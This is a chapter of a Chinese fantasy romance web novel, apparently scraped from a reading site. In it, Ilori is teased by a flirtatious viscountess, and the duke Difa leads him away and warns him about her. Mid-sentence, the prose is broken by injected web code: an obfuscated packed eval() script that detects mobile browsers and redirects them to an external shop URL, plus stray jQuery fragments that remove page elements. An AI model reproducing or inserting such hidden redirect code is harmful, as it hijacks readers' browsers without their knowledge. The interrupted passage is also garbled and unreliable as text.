46. 第 46 章
    水精灵从池中爬出来,越来越高,一个高大的水人成型了。它流动的眼睛往四周看,嘟嘟囔囔道:“咕噜、咕噜,汩汩要走了。”

    比两个人还要高的水精灵直直地走向伊洛里,在水精灵穿过他的一刻,伊洛里感觉到口鼻都被灌了水,眼前一阵窒息带来的发黑。

    伊洛里捂住口鼻迫不及待地往旁边的方向躲,但下一秒,他陷入了一团香气四溢的“云雾”中。

    “哦呀,小可爱,你迷路了吗,怎么迷到我的怀里来了?”一个轻佻的呵笑声在伊洛里头顶上柔柔地响起。

    伊洛里抬头,看见一个身材高挑的女人,她嘴唇丰满,唇边特意点了一颗棕色的小痣,酒红色的长发,梳成一个极高的发髻,发髻几乎像是一座小山丘,插满了由鸟羽、宝石和蕾丝做成的头饰。

    与此同时,她的裙撑轮廓明显比一般的女士大,以此来支撑起更多层的衬裙,让裙子始终保持圆挺的形状。

    伊洛里登时脸红了,自己竟然鲁莽地撞入了一位女士的怀中,他急忙一边后退一边道歉:“不好意思,我并非想要冒犯您,我刚才光顾着躲开水精灵没注意这里有人。”

    娜拉·克利福德半开绣扇,挡住了自己的一半嘴唇,“没关系,一个小小的拥抱可算不上什么冒犯。”

    她笑眯眯地看着伊洛里,又问了一遍:“你想要去往哪个展厅,或许我能够帮你找到正确的方向呢。”

    浓重的脂粉香水味飘向伊洛里,伊洛里下意识后退了一步。

    “为什么要躲开,难道我长得很吓人吗?”娜拉问,言笑晏晏地往前走了两步,直逼得伊洛里发窘地停下来。

    伊洛里一般很少会对初次见面的人感到不安全和紧绷,狄法算极罕见的一个,现下这个艳光逼人、强势得如同女王的女性蓝血人也勉强算一个。

    伊洛里脱口而出:“这位小姐,我想我还没厚脸皮到麻烦一位并不熟识的女性帮我带路。”

    这样说话的语气和方式显然是失礼的,但伊洛里急于脱身,也没办法计较是不是失言了。

    娜拉却是呵呵一笑,眼神很有侵略性地锁在伊洛里的脸上,说:“但是直到刚才,我们不是已经认识了吗?”

    “这……”伊洛里卡壳了。

    娜拉·克利福德的红唇微扬,她优雅地向伊洛里伸出手,等待着他的吻手礼。

    娜拉由衷地喟叹道:“被人当成年轻小姐的感觉真不错,但小可爱,你要称呼我为娜拉夫人哦。”

    红发贵妇咯咯一笑,伊洛里登时就明白了,她是在戏弄自己。

    伊洛里稍微一迟疑,便听到一个弱声弱气的控诉传来,“夫人,这个男人不懂礼仪。”

    “嘘……丹尼尔,我说过你要对人更有礼貌些。”娜拉扭过脸对身边人说。

    伊洛里这才注意到红发贵妇是挽着一个男伴的,男伴长得秀丽,唇红齿白的美少年模样,似乎是为了遮掩气色不佳的问题而往脸上抹了厚厚一层脂粉,五官是出色的,只是实在太单薄瘦削,身高只到贵妇的肩膀,所以存在感完全被掩盖了过去。

    当看见他标志性的卷曲的头发和鲜红得似乎要滴出血来的嘴唇时,伊洛里讶异地眨了眨眼睛,这美少年跟他一样是红血人。

    丹尼尔被娜拉训斥了,恨恨地瞪了一眼伊洛里,瞪得伊洛里莫名其妙。

    “亲爱的,我在等待着。”娜拉·克利福德再度伸了伸手,黑色蕾丝手套下的皮肤若隐若现。

    如果一位绅士拒绝了一位淑女伸过来的手,那将被别人认为是粗鲁且不解风情,并且会让那位淑女陷入尴尬的境地。

    尽管对面人的态度实在轻佻,令人不舒服,但伊洛里还是不想因为自己的缘故而使一位女士蒙羞。

    “您好,夫人。”他勉强握了握她的手,要松开的时候却被娜拉捏住了。

    娜拉轻轻地挠了挠伊洛里的手掌心,眉目风情流转,“我是娜拉·克利福德,红玫瑰庄园的主人,大部分人称我为——”

    “克利福德子爵,日安。”

    伊洛里的右肩膀往下一沉,他下意识收回手,抬头看见狄法冷峻的脸庞。

    本应挽住夏洛蒂公主,跟其他蓝血贵族交际的狄法不知道为什么出现在了这里。

    狄法面无表情地扫伊洛里一眼,伊洛里不知道是怎么了,像是被蜜蜂蛰了一下,心脏又麻又刺痛。

    他莫名觉得心虚。

    “狄法公爵。”娜拉讶异地挑起眉,画得纤美的眉毛令人想到画报中做出惊讶反应的画报女郎。

    不过下一秒她就意识到自己失态了,收敛起来。

    女子爵掀起裙摆一角,优雅至极地欠身行礼,“向阁下您问安。”

    她身边的丹尼尔也连忙鞠躬。

    狄法看见丹尼尔那双浅绿色的眼睛,里面习惯性地流露出一种讨好的黏腻感,如想要贴上身的寄生虫。

    与伊洛里有三分相似的脸,却笑得媚俗。

    ……刺眼。

    狄法俯下身,在伊洛里耳边沉声道:“妖精们运来了一个奇特的鉴定仪器,据说可以测出一件物品的制作年代。”

    伊洛里的眼睛亮了起来,“真的?这对考古学和史学都将是一个巨大的福音。”

    伊洛里下意识想走,但才刚迈出一步,又迟疑地停下来,目光在狄法与娜拉·克利福德之间逡巡。

    狄法明显跟这位女子爵认识,两个蓝血贵族或许需要一场简短的聊天,他不能在这种时候离开。

    狄法却是抚住他的后背,鼓励似地推了推他,“他们正在工程类的展厅里演示鉴定仪器的用法,我们现在过去刚好。”

    狄法自然地带走伊洛里,甚至没有跟娜拉表面寒暄一下。

    等两人走远后,丹尼尔忿忿地抱怨道:“这就是那个阴翳高傲的黄金公爵吗,真如传闻那般令人讨厌。”

    “哦,怎么说?”娜拉心不在焉地应了一声,还在想着刚才撞入自己怀中的红血青年。

    双眸真是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073334|149387||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    碧绿如生长了绿藻的海水,澄澈得一眼能望到底,望见底下纯粹的灵魂——太像记忆里的那个他了。

    丹尼尔没注意娜拉的反应,他第一次被人用看垃圾的眼神看待,不管对方的身份究竟有多高贵,他都觉得难以忍受,自顾自地说下去:“黄金公爵明显故意无视了夫人您,这可真粗鲁。”

    他还没有说完,娜拉的扇子扇上他的嘴巴。

    “啊!”丹尼尔吃痛,下意识捂住了嘴,就听见娜拉的声音。

    “你是骂他呢,还是骂我?我可比不上狄法大人的出身和权势一分,往后我冷落了你,是不是我也要成了你嘴里的消遣?”

    娜拉笑得柔媚,但说出来的话却像刀片,切割丹尼尔的自尊,切得七零八落。

    丹尼尔脸色煞白,眼泪都流出来了,捂着嘴呐呐地说:“不,不敢。我错了,夫人,我、对不起,呜。”

    他的心脏都像是被烧红的炭火灼烧,强烈的羞耻感涌上心头。

    “好啦,稍微哭一下就要停下来了,好不容易出来,可得要玩得尽兴才是。”娜拉却是换上了平日里的温柔语气,轻轻地抚过丹尼尔发红的嘴角。

    “夫人……”丹尼尔哽噎着擦眼泪。

    “我在。”娜拉安抚地拍拍他的手背,“乖,重新挽住我的手。”

    转身前,娜拉深深地看了人群中格外显眼的狄法和伊洛里一眼,看见狄法按了一下伊洛里的后颈,她的眼神暗了一暗,情绪复杂得难以读懂。

    伊洛里觉得狄法刚刚按自己的后颈的力度有点大,按过的地方隐隐泛疼。

    并且他从统计类展厅离开后,走了这么一段路一直保持沉默,嘴唇抿成一条冷硬的直线。

    伊洛里心中顿时警铃大作,糟糕,狄法不会是误会了他刚才在跟人搭讪吧?

    “刚才、我是在……”伊洛里正想解释自己是不小心撞到了娜拉·克利福德,跟三心二意没有半点关系,便听见狄法低醇的嗓音。

    “娜拉·克利福德——她一直喜欢长着绿色眼睛的红血男子,因为她的第一位爱人也是这种长相,为了豢养自己四处搜集来的男宠,她甚至专门在自己的庄园里修建了一幢宅邸用来安置他们。”

    狄法停下脚步,认真地看着伊洛里,“答应我,如果她邀请你去她的庄园,不管多觉得过意不去,你也要拒绝。”

    “什么?”伊洛里哑然,脑子嗡地一声炸响,都跟不上狄法说的话。

    “他们”是什么意思?刚才那位女子爵豢养了很多情人的意思吗?

    “等一下,我不理解。”

    狄法不管,一锤定音:“我就当你答应了。”

    在极度困惑之下,伊洛里稀里糊涂地签订了“绝不再单独跟娜拉·克利福德说话”的契约,得到合同主张方的一个笑,冰川消弭。

    看着摸不着头脑的伊洛里,狄法眸色深沉极了,他永远不会告诉他,自己刚才在看见娜拉试图抚摸他的脸时,心里出现了多么冷酷的想法。